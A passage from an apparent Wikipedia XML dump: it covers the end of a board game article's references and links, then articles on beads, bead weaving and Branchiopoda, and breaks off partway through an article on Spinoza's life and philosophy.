*Bell, Robert Charles. ''The Boardgame Book''. [[London]]: Bookthrift Company, [[1979]].
*Bell, Robert Charles. ''Board and Table Games from Many Civilizations''. [[Mineola, New York]]: Dover Publications, [[1980]]. ISBN 0486238555
**Reprint: [[New York City|New York]]: Exeter Books, [[1983]].
*[[Sid Sackson|Sackson, Sid]]. ''[[A Gamut of Games]]''. [[Arrow Books]], [[1983]]. ISBN 0091533406
**Reprint: Dover Publications, [[1992]]. ISBN 0-486-27347-4
*Schmittberger, R. Wayne. ''New Rules for Classic Games''. [[John Wiley &amp;amp; Sons]], [[1992]]. ISBN 0-471-53621-0
**Reprint: [[Random House|Random House Value Publishing]], [[1994]]. ISBN 0517129558
*Parlett, David. ''Oxford History of Board Games''. [[Oxford University Press]], [[1999]]. ISBN 0192129988

Note that some these works may suffer from cultural bias&amp;mdash;especially Murray's work which, despite being the standard reference, tends to assume [[Western civilization|Western]] cultural superiority.

== See also ==
*[[List of board games]]
*[[List of board game publishers]]
*[[List of Japanese board games]]
*[[Card game]]
*[[Computer Olympiad]]
*[[Game classification]]
*[[Game mechanic]]
*[[Game theory]]
*[[Gameplay]]
*[[Game convention]]
*[[Games table desk]]
*[[German-style board game]]
*[[Mind Sports Olympiad]]
*[[Paper and pencil game]]s
*[[Parlour game]]
*[[Party game]]
*[[Simulation game]]
*[[Solved board games]]

==External links==
{{Commons|Category:Board games}}

===General===
*[http://www.boardgamegeek.com BoardGameGeek] - [[BoardGameGeek]] is a board gaming database, including user reviews and rankings, photos, rules, translations, faqs strategies, and session reports.  It contains over 20,000 individual boardgame entries.
*[http://www.di.fc.ul.pt/~jpn/gv/ The World of Abstract Games] - list of abstract board games with detailed rules
*[http://www.games-db.com/Traditional/ Games-db] - features a board game database
*[http://www.thelittlewoodshop.co.uk/board-games-history.php The Little Woodshop] - A brief history of board games, from past to present
*[http://scv.bu.edu/~aarondf/Top100/ Internet Top 100 Games List] - The [[Internet Top 100 Games List]] compiles overall rankings from player ratings of board games sent in by email.
*[news://rec.games.board rec.games.board] - [[Usenet]] [[newsgroup]]
*[http://boardgames.bellaonline.com/Site.asp BellaOnline Board Games Site] - News and reviews of board games.  Frequently updated.
*[http://www.thedicetower.com/ The Dice Tower], a weekly podcast about board games

===Specialist information===
*[http://www.tradgames.org.uk/ Traditional Games] - includes information on classical games.
*[http://ricardobugsy.tripod.com/boardgames/boardgames.htm 1970s Vintage Boardgames] - UK 1970s rare vintage board games.
*[http://www.carromshop.com Carrom] - Traditional Asian board game played by 2 or 4 players.

===Game design===
*[http://www.bgdf.com/ The Board Game Designers Forum] - a forum for amateur and published board game designers with chats, workshops, competitions, news, game reviews and, of course, forums on design, prototyping, publishing and many other subjects.

===Magazines===
*[http://www.thegamesjournal.com/ The Games Journal] - a boardgaming monthly; good source for in-depth articles about boardgaming.
*[http://www.boardgamesstudies.org/ International Journal for the Study of Board Games]

===Gaming organizations===
*[http://www.boardgamers.org/ Boardgame Players Association] - World Boardgaming Championships
*[http://www.gencon.com/ GenCon]
*[http://www.originsgames.com/ Origins Game Fair]
*[http://www.gama.org/ Game Manufacturer's Association (GAMA)] - Non-profit formed in 1977 to promote hobby gaming.

===Online play===
*[http://www.brettspielwelt.de/ World of Board Games] - BrettspielWelt. About 50 board games to play online for free. A big community of active board gamers gather around this site.
*[http://GamesByEmail.com/ GamesByEmail.com] - correspondence gaming site.
*[http://www.kurnik.org/ Kurnik Online Games] - hassle-free online gaming site with lots of board and card games.
*[http://www.youplay.it/ You Play It] - play online many famous board games. Free site without advertising.
*[http://citadellesjavagame.free.fr/phpBB2 Citadels] - Play Bruno Faidutti's game online, alone versus bots or against human players
http://www.brettspielwelt.de/ - Play many eurogames online at BrettspielWelt (BSW)
http://www.spielbyweb.com/ - Play Amun-Re, Bus, Hoity Toity, Reef Encounter, and Wallenstein online at Spiel by Web
http://www.blokus.com/index.htm - Play Blokus online


[[Category:Board games| ]]

[[ca:Joc de taula]]
[[da:Brætspil]]
[[de:Brettspiel]]
[[es:Juegos de mesa]]
[[eo:Tabulludo]]
[[fr:Jeu de société]]
[[ko:보드 게임]]
[[io:Tablo-ludo]]
[[it:Gioco da tavolo]]
[[he:משחק לוח]]
[[la:Ludus tabularis]]
[[lt:Stalo žaidimai]]
[[nl:Bordspel]]
[[ja:ボードゲーム]]
[[no:Brettspill]]
[[nn:Brettspel]]
[[pl:Gra planszowa]]
[[pt:Jogo de tabuleiro]]
[[simple:Board game]]
[[sl:Igra na deski]]
[[fi:Lautapeli]]
[[sv:Brädspel]]
[[zh:棋盘游戏]]</text>
    </revision>
  </page>
  <page>
    <title>Bead</title>
    <id>3402</id>
    <revision>
      <id>41886148</id>
      <timestamp>2006-03-02T10:31:43Z</timestamp>
      <contributor>
        <ip>143.90.220.187</ip>
      </contributor>
      <comment>link</comment>
      <text xml:space="preserve">{{wiktionarypar|bead}}
{{for|the bead of a tire|Tire bead}}
{{for|the visual effect during a Sun eclipse|Baily's beads}}

[[Image:Beads.jpg|thumb|right|Beads]]
[[Image:Cloisonnebeads.jpg|thumb|right|Cloisonné beads]]
[[Image:Dichroicclose.jpg|thumb|right|Dichroic beads (10 mm)]]
A '''bead''' is a small, decorative object that is pierced for [[yarn|thread]]ing or stringing. As an alternative to piercing, plastic beads may be ''M''oulded ''O''nto a ''T''hread during manufacturing; these ''MOT'' beads are often used for the throw necklaces worn at [[Mardi Gras]].

Beads range in size from under a [[millimeter]] to over a [[centimeter]] in diameter. [[Glass]], [[plastic]], and [[Rock (geology)|stone]] are probably the most common materials, but beads are also made from [[bone]], [[horn (anatomy)|horn]], [[ivory]], [[metal]], [[animal shell|shell]], [[pearl]], [[coral]], [[gemstone]]s, [[polymer clay]], [[metal clay]], [[resin]], synthetic [[minerals]], [[wood]], [[pottery|ceramic]], [[fiber]], [[paper]], and the [[seed]]s of the [[Bead tree]].

[[Beadwork]] is the [[craft]] of making things with beads. Beads can be woven together with specialized [[yarn|thread]], or adhered to a surface (e.g. [[Cloth|fabric]], [[clay]]). 

Types of decorative beads include:
* [[Chevron bead]]s 
* [[Cloisonné]] beads
* [[Dichroism|Dichroic]] beads
* Ethnic beads
* [[Faux]] natural beads
* Fire-polished beads
* Furnace glass beads
* [[Lampwork beads]]
* [[Lead crystal]] beads
* [[Millefiori]] beads
* Pressed glass beads
* Seed beads 
* [[Slave beads|Trade beads or Slave beads]] 

==Seed beads== 
[[Image:Seedbeads.jpg|thumb|right|Seed beads]]
'''Seed Beads''' are uniformly shaped, spheroidal [[bead]]s ranging in size from under a [[millimetre]] to several millimetres. &quot;Seed Bead&quot; is a generic term for any small bead.  Usually rounded in shape, seed beads are most commonly used for [[Bead weaving|loom]] and [[Bead weaving|off-loom]] bead weaving.  They may be used for simple stringing, or as spacers between other beads in jewelry.  Larger seed beads are used in various fiber crafts for embellishment, or [[crochet]] with fiber or wire. 

===Units of measure===
The most popular seed bead size is 11/0 (&quot;eleven-aught&quot;), but sizes range from 22/0 (believed to be the smallest) to 6/0 or 5/0 (the largest). The term &quot;aught&quot; refers to how many beads can fit into a standard unit. The origin of the name is debatable.

Size numbers are also used. Unfortunately online vendors will typically not explain the correlation between size numbers and aughts and millimeters.


&lt;table border=1 width=70% cellpadding=0&gt;
&lt;tr&gt;
&lt;td bgcolor=lightyellow align=center&gt;
'''aught size'''
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
'''mm  diameter'''
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
'''beads per inch'''
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=pink align=center&gt;
6/0
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
3.3
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
10
&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=lightyellow align=center&gt;
8/0
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
2.5
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
13
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=pink align=center&gt;
9/0
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
2.2
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
15
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=lightyellow align=center&gt;
10/0
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
2.0
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
16
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=pink align=center&gt;
11/0
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
1.8
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
20
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=lightyellow align=center&gt;
13/0
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
1.5
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
27
&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td bgcolor=pink align=center&gt;
14/0
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
1.4
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
24
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=lightyellow align=center&gt;
15/0
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
1.3
&lt;/td&gt;
&lt;td bgcolor=lightyellow align=center&gt;
25
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=pink align=center&gt;
delica
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
1.8
&lt;/td&gt;
&lt;td bgcolor=pink align=center&gt;
20&lt;/font&gt;
&lt;/td&gt;
&lt;/table&gt;

===Methods of packaging===
Seed beads are sold either by &quot;hank&quot; or by gram weight.  

; Hanks

A [[hank]] is [[unit]] bundle of strands of [[seed]] beads or bugle beads.  
There are usually 12 strands of 20 inches of strung beads in each modern hank of 11/0 beads. 
Different sizes and types of beads may be sold in hanks which have different numbers and lengths of strands.
Different hanks (age, type, size) have had from 8 to 14 strands, and lengths have varied from 8 to 20 inches per strand.
For example, Charlotte size 13/0 cut beads are generally on short hanks, containing 12 twelve-inch strands.  Some [[vintage]] 18/0 hanks have had 10 strands of 8-10 inches  (200 to 250 mm) each.

[[Czech republic|Czech]] seed beads are sold from the factories by the hank. They are very often repackaged into tubes, bags, or other containers for retail sale, in quantities varying from 5 grams to 40 or more grams.  When Czech beads are repackaged, they are usually sold by the gram, which creates some confusion on how many beads come on a hank.  Not every 20 inch strand of size 11 beads weighs the same.

A hank of size 2 bugles or size 11 seed beads generally weighs between 30 and 40 grams, depending on manufacturing variations, coatings or linings.  Purchasing Czech beads by the hank is usually a better value than the repackaged beads by far.

A production run of a custom made seed bead is 8 kilograms. The beads are produced in the Czech Republic using a 10 kilogram rod of color glass. The excess glass is recycled to form new rods. The color glass rods are produced from a larger mass melt of some 10 metric tons. Formulas for different colors of glass are closely guarded. The receipe for a true [[black]] glass was lost during World War I, and modern black glass held to sunlight is a deep purple. Examples of true black glass are circulating in jewelry pieces made to comemerate the [[funeral]] of [[Queen Victoria]]. 

The color of the bead can be transparent or opaque. Transparent seed beads benefit from
lining the interior hole in silver, gold, copper. Linings of pink or blue are also common. 
An exterior coating of a metallic film adds a lustre to seed beads called &quot;AB&quot; - Aurora Borealis.

Glass rods made with concentric layers of color or stripes of color can be used to make patterns of color in seed beads.

Seed bead machinery uses glass rods softened to a red heat, fed into a steel [[Die (manufacturing)|die]] stamp that forms the shape of the bead with a reciprocating needle that forms the hole. Manual and automatic machinery is in use in the Czech Republic. As the [[steel]] dies wear eventually, they are replaced. 

; Weight

Japanese beads are sold by gram weight, never by the hank, despite some seller claims on eBay. 

Most Japanese seed beads are repackaged for retail sale in manageable quantities based on price codes. More expensive beads may be sold in 2.5 or 5 gram units.  Standard Japanese seed beads are usually sold in approximately 10 gram tubes.  Thus, a 250 gram wholesale package would fill 25 tubes &amp;mdash; a bit more than the average beader would need.  

One major supplier, Miyuki, sells factory packages which contain up to 1 kg of beads, and are almost always repackaged into tubes or other containers for retail sale. To accommodate the average &quot;wholesale&quot; customer, whether it be a bead shop or designer, some larger distributors have made deals to receive their wholesale packages of beads in smaller (50 to 250 gram) pre-packaged sizes.

Toho, the other major Japanese supplier, seems to have a more flexible packaging policy. Many of the tubed beads you see hanging in the craft stores are stamped with their name on the bottoms, indicating both a wholesale and retail packaging setup.

===Varieties===

; Cylinder beads

During the last decade, a new shape of Japanese seed beads, the [[Cylinder (geometry)|cylinder]] bead, has become increasingly popular. 
Unlike regular rounded seed beads, the cylinder beads are quite uniform in [[shape]] and [[Measurement|size]] and have large holes for their size. Because the ends are [[flat]] instead of rounded, work created with cylinder beads has a flat, smooth texture. [[line|Row]]s and [[columns]] in [[weaving]] line up more uniformly, so pattern work comes out more accurate and even.

There are now 3 versions of cylinder beads: 
* Delicas® made by Miyuki 
* Treasures (formerly Antiques) made by Toho
* [http://tohobeads.net/type/cylinder.html Aiko] - an all new, extremely precise bead made by Toho, and introduced in 2005

; Charlotte cut beads

Charlotte cuts are seed beads that have a single facet per bead to add sparkle.  These are called &quot;the most brilliant of all seed beads&quot;.

; Other 

Most of today's good quality seed beeds are made in [[Japan]] or the [[Czech Republic]].  Japanese seed beads are more uniform than the Czech ones and have larger holes for the same size of bead. There are also good seed beads from France that are available in historic &quot;old-time&quot; colors and are popular for use in repairing or replicating antiquities.

===Confusing terminology===
Seed beads used by craftspersons should not be confused with Seed Beads&amp;trade;:  laboratory-grown beads made of [[PTFE]] used to generate seeds of protein crystals.

==Other types of beads==
[[Image:Firebead.jpg|thumb|right|Fire polished beads (10 mm) with AB coating]]
===[[Chevron bead]]s===

Chevron Beads are special glass [[bead]]s, originally made for the slave trade in [[Africa]] by glassmakers in [[Italy]].  They are composed of many consecutive layers of colored [[glass]] which are then cut to show the resulting chevron pattern.

===Fire-polished beads===

Fire-polished beads are faceted glass beads from the [[Czech republic]].  They are popular in jewelry and come in sizes from 4 mm to 15 mm.  The pattern of facets is always the same and the resulting bead is somewhat oval in the larger sizes. The beads are glazed in a red hot oven after being machine faceted.

[[Image:Chevronbeads.jpg|thumb|left|[[Chevron bead]]s]]
===[[Lampwork beads]]===

Lampwork beads are made by using a torch to heat a rod of glass and spinning the resulting thread around a metal rod covered in bead release. When the base bead has been formed, other colors of glass can be added to the surface to create many designs.
[[Image:Pressedglass.jpg|thumb|right|Pressed glass beads (with AB coating)]]
===[[Millefiori]] beads===

Millefiori beads are made with mutiple canes of glass fused together to make an all-over flower pattern.

===Pressed glass beads===

[[Image:Crystbeads.jpg|thumb|right|[[Swarovski]] crystal beads (6 mm&amp;ndash;8 mm), pendant 3 cm]]
[[Image:Cinnabarbead.jpg|thumb|right|Carved [[Cinnabar]] [[lacquer]] beads]]
Pressed glass beads are formed by pressing the hot glass into mold to give the bead its shape. 

===[[Slave beads|Trade beads or Slave beads]]===

Trade beads are various types of beads made in Europe specifically to be used in the slave trade and other trading in Africa. Chevron beads are a specific, historically important type of trade bead.

===[[Swarovski]]&amp;reg; crystal and other lead crystal beads===

Swarovski crystal beads are also prized by hobbyists.  They are a high-lead crystal, have an incredible sparkle and clarity, and are often multi-faceted to resemble gemstones.  Styles and colors go in and out of production, so vintage cuts and colors are often prized with a similarly associated price tag.

===[[Faux]] natural beads===

Often beads are made to look like a more expensive original material, especially in the case of fake [[pearl]]s and simulated rocks, [[minerals]], and [[gemstone]]s. Precious metals and [[ivory]] are also imitated. 
[[Image:Furnaceglass.jpg|thumb|left|Furnace glass beads]]
===Ethnic beads===

Other beads considered trade beads are those made in Africa, by and for Africans, such as [[Kiffa beads]]. Other ethnic beads include [[Dzi bead]]s and African brass beads. [[Rudraksha bead]]s are customary in India for making Buddhist and Hindu rosaries ([[Japa mala|malas]]). [[Magatama]] are traditional [[Japan]]ese beads, and [[cinnabar]] was often used for beads in [[China]].

===Furnace glass beads===

Furnace glass are a special type of art bead.  They are made using traditional glassworking techniques from Italy that are more often used to make art glass objects. The manufacture of these beads requires a large glass furnace and annealing kiln.

==See also==

[[Glass beadmaking]]

==External links==
; Some information resource sites
*[http://www.thebeadsite.com The Bead Site] Includes the Center for Bead Research  
*[http://www.bead-world.com/facts.html Bead Facts/Charts] Handy charts from Bead World
*[http://members.cox.net/sdsantan/measure.html Bead Weights and Measures]
*[http://www.suncountrygems.com/seed_beads.html Sun Country Gems] Includes history and basic data
*[http://www.craftland.net/Catalog_Static/Catalog_14.aspx Craftland Bead Supply] Czech seed beads sizes and colors
*[http://www.shipwreckbeads.com/support/docs/seedbeadstats.html Shipwreck Beads] Czech and Japanese seed beads, charts and info

; Seed bead manufacturers
*[http://tohobeads.net Toho Beads] A Japanese manufacturer's site, manufactures Treasures (formerly Antiques)
*[http://www.miyuki-beads.co.jp Miyuki Beads] The manufacturer of Delicas&amp;reg;

[[Category:Beadwork]]
[[Category:Craft materials]]

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    <title>Bead weaving</title>
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      <text xml:space="preserve">==Bead weaving on a loom==

[[Bead]] [[weaving]] using [[seed beads]] can be done on a [[loom]].  The beads are locked in between the [[warp]] threads by the [[weft]] threads.  Although a [[heddle]] can be used as in ordinary weaving, the most common technique requires two passes of the weft thread.  First, an entire [[row]] of beads is strung on the weft [[yarn|thread]].  Then, the beads are pressed in between the warp threads.  The [[needle]] is passed back through the beads above the warp threads to lock the beads into place.  The most difficult part of loomwork is finishing off the warp threads.

Although loomed pieces are typically rectangular, it is possible to increase and decrease to produce angular or curvy shapes.  [[Fringe]] can also be added during weaving or before the piece is removed from the loom.

Bead looms vary in size and are typically made of [[wood]] or [[metal]].  Usually, a [[comb]] or [[spring]] is used to hold the warp threads a bead width apart.  Some looms have roller bars that allow the weaver to produce pieces that are longer than the loom is.  Most looms are meant to sit on a [[table]], but some have [[floor]] stands or are meant to sit in the [[lap]].

==Off-loom bead weaving==

Off-loom bead weaving is a family of [[beadwork]] techniques in which [[bead]]s (typically [[seed beads]]) are woven together into a [[Cloth|fabric]]. Bead weaving on a loom is different enough that it is specifically excluded.  All off-loom techniques can be accomplished using a single needle and thread (no warp threads), but some have two-needle variations.

Off-loom bead weaving encompasses a number of techniques, including 
* [[gourd stitch]] or [[peyote stitch]]
* [[brick stitch]]
* [[square stitch]]
* [[right-angle weave]]
* [[triangle weave]]
* [[bead netting]]
* [[African helix]]
* [[Dutch spiral]]
The techniques produce fabrics with distinct textures and other properties, and thus are suitable for different kinds of articles.

References:
* Don Pierce, ''Beading on a Loom.''  Interweave Press, 1999.  ISBN 1-883010-63-2
* Carol Wilcox Wells, ''Creative Bead Weaving.'' Lark Books, 1996.  ISBN 1-887374-05-1

[[Category:Weaving]]
[[Category:Beadwork]]</text>
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    <title>Branchiopoda</title>
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      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Branchiopods
| image = Triopsl.jpg
| image_width = 250px
| image_caption = ''Triops'', a [[notostracans|notostracan]]
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| subphylum = [[Crustacea]]
| classis = '''Branchiopoda'''
| classis_authority = [[Pierre André Latreille|Latreille]], 1817
| subdivision_ranks = Orders
| subdivision = 
*Sarsostraca
*:[[Fairy shrimp|Anostraca]]
*[[Phyllopoda]]
*:[[Notostraca]]
*:[[Diplostraca]]
*::[[Laevicaudata]]
*::[[Spinicaudata]]
*::[[Cyclestherida]]
*::[[Cladocera]]
}}

'''Branchiopoda''' is a group of primitive and primarily [[fresh water]] [[crustacean]]s, mostly resembling [[shrimp]].  A few are well-known, including ''Artemia'' ([[brine shrimp]], called ''[[Sea-Monkey]]s'' when marketed as novelties), and ''[[Daphnia]]'', both of which are raised as aquarium food or as interesting pets in and of themselves.

In older classifications, the superorder [[Diplostraca]] was made up of the two orders [[Conchostraca]] and [[Cladocera]]. According to newer data, however, these orders may be artificial (at least in their present state) as some of their members seem to have a paraphyletic origin within the Diplostraca. For this reason, the order Conchostraca is no longer used.

Although a few species of water flea have adapted to a life in the sea, these crustaceans belong primarily in [[fresh water]]. This could mean they belong to an old group that became extinct in the rest of the aquatic habitats of the world, or that they actually originated in fresh water. The fact that they are especially [[adaptation|adapted]] to temporary pools and waters that are too extreme for other animals to live in (like [[salt lake]]s) indicates that they could have sought refuge in these places because they were unable to compete with or evade the more advanced groups of animals living elsewhere. This resulted in a short generation cycle and small body size. Most of them are still unable to live in waters where there are [[fish]] and other advanced predators, since they are too slow and vulnerable to survive them. Some, however, have evolved to cope with this problem well enough to survive, even with predators around them. Their main defence is probably their high number thanks to their small size, ability to produce many offspring and short life cycle. ''[[Leptodora]]'', a relatively large branchiopod, relies on its very transparent body and diel vertical migration. It is so transparent that its shadow is said to be more visible than its body.

[[Category:Crustaceans]]

[[de:Kiemenfußkrebse]]
[[fr:Branchiopodes]]
[[he:סרטנים מסננים]]
[[no:Bladfotkreps]]
[[pl:Skrzelonogi]]
[[pt:Branchiopoda]]
[[zh:鰓足綱]]</text>
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    <title>BaruchSpinoza</title>
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      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[17th-century philosophy]] |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = Spinoza.jpg |
  image_caption   = Benedictus de Spinoza |

  &lt;!-- Information --&gt;
  name             = Benedictus de Spinoza |
  birth            = [[November 24]], [[1632]] ([[Amsterdam]], [[Netherlands]]) |
  death            = [[February 21]], [[1677]] ([[The Hague]], [[Netherlands]]) |
  school_tradition = [[Continental rationalism]] |
  main_interests   = [[Ethics]], [[Epistemology]], [[Metaphysics]] |
  influences       = [[Thomas Hobbes|Hobbes]], [[René Descartes|Descartes]], [[Avicenna]], [[Maimonides]], [[Nicholas of Cusa]] |
  influenced       = [[David Conway|Conway]], [[Immanuel Kant|Kant]], [[Georg Wilhelm Friedrich Hegel|Hegel]], [[Donald Davidson (philosopher)|Davidson]], [[Arthur Schopenhauer]], [[Gilles Deleuze]],  [[Albert Einstein]] |
  notable_ideas    = [[Pantheism]] |
}}

'''Benedictus de Spinoza''' ([[November 24]], [[1632]] &amp;ndash; [[February 21]], [[1677]]), was named ''Baruch Spinoza'' by his synagogue elders and known as ''Bento de Espinosa'' or ''Bento d'Espiñoza'' in his native [[Amsterdam]]. He is considered one of the great [[continental rationalism|rationalists]] of [[17th-century philosophy]] and, by virtue of his [[magnum opus]] the ''[[Ethics (book)|Ethics]]'', one of the definitive ethicists. His writings, like those of his fellow rationalists, reveal considerable mathematical training and facility. Spinoza was a lens crafter by trade, an exciting engineering field at the time because of great discoveries being made by telescopes. The full impact of his work only took effect sometime after his death and after the publication of his ''Opera Posthuma''. He is now seen as having prepared the way for the 18th century [[Enlightenment]], and as a founder of modern [[biblical criticism]].

==Life==
Born to a great family of [[Sephardic Jew]]s, among the [[Spanish and Portuguese Jews|Portuguese Jews]] of Amsterdam, he gained fame for his positions of [[pantheism]] and [[neutral monism]], as well as the fact that his ''Ethics'' was written in the form of postulates and definitions, as though it were a [[geometry]] treatise.   In the summer of [[1656]], he was [[Excommunication|excommunicated]] because of [[apostasy]] from the Jewish community for his claims that [[God]] is the mechanism of nature and the universe, having no personality, and that the [[Bible]] is a metaphorical and allegorical work used to teach the nature of God, both of which were based on a form of Cartesianism (see [[René Descartes]]). Following his excommunication, he adopted the first name Benedictus (the [[Latin]] equivalent of his given name, Baruch). The terms of his excommunication were quite severe; see Kasher and Biderman (19nn).

After his excommunication, he lived and worked for a while in the school of [[Franciscus van den Enden]], who taught him Latin and may have introduced him to modern philosophy. In this period Spinoza also became acquainted with several Collegiants, members of a non-dogmatic and interdenominational sect with tendencies towards Rationalism. By the beginning of the 1660s Spinoza's name became more widely known, and eventually [[Leibniz]] and [[Henry Oldenburg]] paid him visits. He corresponded with the latter for the rest of his life. Spinoza's first publication was his ''Principles of Cartesian Philosophy'', a work that introduced some of his own ideas. In 1665 he notified Oldenburg that he had started to work on a new book, the ''[[Theologico-Political Treatise]]'', published in 1670.

Since the public reactions to the anonymously published ''[[Theologico-Political Treatise]]'' turned unfavourable to his brand of [[Rene Descartes|Cartesianism]], Spinoza abstained from publishing more of his works. Wary and independent, he wore a [[signet ring]] engraved with his [http://www.mtsu.edu/~rbombard/RB/Images/bds1.jpg initials, a rose and the word &quot;caute&quot;] (Latin for caution). The ''Ethics'' and all other works, apart from the ''Principles of Cartesian Philosophy'' and the ''[[Theologico-Political Treatise]]'', were published after his death in the ''Opera Postuma'' edited by his friends.

==Philosophy - Overview==
Known as both the &quot;greatest Jew&quot; and the &quot;greatest Atheist&quot;, Spinoza contended that God and Nature were two names for the same reality, namely the single [[substance]] (meaning &quot;to stand beneath&quot; rather than &quot;matter&quot;) that underlies the universe and of which all lesser &quot;entities&quot; are actually modes or modifications.  The argument for this single substance runs something as follows:

:1. Substance exists and cannot be dependent on anything else for its existence.
:2. No two substances can share an attribute.
::Proof: If they share an attribute, they would be identical.  Therefore they can only be individuated by their modes.  But then they would depend on their modes for their identity.  This would have the substance being dependent on its mode, in violation of premise 1.  Therefore, two substances cannot share the same attribute.
:3. A substance can only be caused by something similar to itself (something that shares its attribute).
:4. Substance cannot be caused.
::Proof: Something can only be caused by something which is similar to itself, in other words something that shares its attribute.  But according to premise 2, no two substances can share an attribute.  Therefore substance cannot be caused.
:5. Substance is infinite.
::Proof: If substance were not infinite, it would be finite and limited by something.  But to be limited by something is to be dependent on it.  However, substance cannot be dependent on anything else (premise 1), therefore substance is infinite.
:Conclusion: There can only be one substance.
::Proof: If there were two infinite substances, they would limit each other.  But this would act as a restraint, and they would be dependent on each other.  But they cannot be dependent on each other (premise 1), therefore there cannot be two substances.

Spinoza contended that &quot;Deus sive Natura&quot; (&quot;God or Nature&quot;) was a being of infinitely many attributes, of which extension and thought were two. His account of the nature of reality, then, seems to treat the [[physics|physical]] and [[mind|mental]] worlds as two different, parallel &quot;subworlds&quot; that neither overlap nor interact.  This formulation is a historically significant [[panpsychism|panpsychist]] solution to the [[mind-body problem]] known as [[neutral monism]].

Spinoza was a thoroughgoing [[determinism|determinist]] who held that absolutely everything that happens occurs through the operation of [[necessity]]. For him, even human behaviour is fully determined, freedom being our capacity to know we are determined and to understand ''why'' we act as we do. So freedom is not the possibility to say &quot;no&quot; to what happens to us but the possibility to say &quot;yes&quot; and fully understand why things should necessarily happen that way. By forming more &quot;adequate&quot; ideas about what we do and our emotions or affections, we become the adequate cause of our effects (internal or external), which entails an increase in activity (versus passivity). This means that we become both more free and more like God, as Spinoza argues in the Scholium to Prop. 49, Part II. 

Spinoza's philosophy has much in common with [[Stoicism]] in as much as both philosophies sought to fulfil a therapeutic role by instructing people how to attain happiness (or eudaimonia, for the Stoics). However, Spinoza differed sharply from the Stoics in one important respect: he utterly rejected their contention that [[reason]] could defeat [[emotion]]. On the contrary, he contended, an emotion can be displaced or overcome only by a stronger emotion. For him, the crucial distinction was between active and passive emotions, the former being those that are rationally understood and the latter those that are not. He also held that knowledge of true causes of passive emotion can transform it to an active emotion, thus anticipating one of the key ideas of [[Sigmund Freud]]'s [[psychoanalysis]].

Some of Spinoza's philosophical positions are:
* God is the natural world and has no personality.
* The natural world is infinite.
* There is no real difference between good and evil.
* Everything must necessarily happen the way that it does. Therefore, there is no free will.
* Everything done by humans and other animals is excellent and divine.
* All rights are derived from the State.
* Animals can be used in any way by people for the benefit of the human race.

==Philosophy - Ethics==
Encapsulated at the start in his ''Treatise on the Improvement of the Understanding'' (''Tractatus de intellectus emendatione'') is the core of Spinoza's ethical philosophy, what he held to be the true and final good. Spinoza held a [[relativism|relativist's]] position, that nothing is good or bad, except to the extent that it is subjectively perceived to be by the individual. For instance, one person may find roasted peanuts tasty and so for her roasted peanuts are good. But another person may be allergic to nuts and so for him peanuts are bad. Spinoza's point is, there is nothing inherent in any thing, like a nut, to make it either good or bad. From this he concluded the ethical ventures of other philosophers had been mistaken. His words put it best themselves.

&lt;blockquote&gt;&quot;After experience had taught me that all the usual surroundings of social life are vain and futile; seeing that none of the objects of my fears contained in themselves anything either good or bad, except in so far as the mind is affected by them, I finally resolved to inquire whether there might be some real good having power to communicate itself, which would affect the mind singly, to the exclusion of all else: whether, in  act, there might be anything of which the discovery and attainment would enable me to enjoy continuous, supreme, and unending happiness. I say 'I finally resolved,' for at first sight it seemed unwise willingly to lose hold on what was sure for the sake of something then uncertain.  I could see the benefits which are acquired through fame and riches, and that I should be obliged to abandon the quest of such objects, if I seriously devoted myself to the search for something different and new.  I perceived that if true happiness chanced to be placed in the former I should necessarily miss it; while if, on the other hand, it were not so placed, and I gave them my whole attention, I should equally fail...&lt;/blockquote&gt;

&lt;blockquote&gt;&quot;I will here only briefly state what I mean by true good, and also what is the nature of the highest good. In order that this may be rightly understood, we must bear in mind that the terms good and evil are only applied relatively, so that the same thing may be called both good and bad according to the relations in view, in the same way as it may be called perfect or imperfect. Nothing regarded in its own nature can be called perfect or imperfect; especially when we are aware that all things which come to pass, come to pass according to the eternal order and fixed laws of nature.&lt;/blockquote&gt;

&lt;blockquote&gt;&quot;However, human weakness cannot attain to this order in its own thoughts, but meanwhile man conceives a human character much more stable than his own, and sees that there is no reason why he should not himself acquire such a character. Thus he is led to seek for means which will bring him to this pitch of perfection, and calls everything which will serve as such means a true good. The chief good is that he should arrive, together with other individuals if possible, at the possession of the aforesaid character.  What that character is we shall show in due time, namely, that it is the knowledge of the union existing being the mind and the whole of nature.&lt;/blockquote&gt;

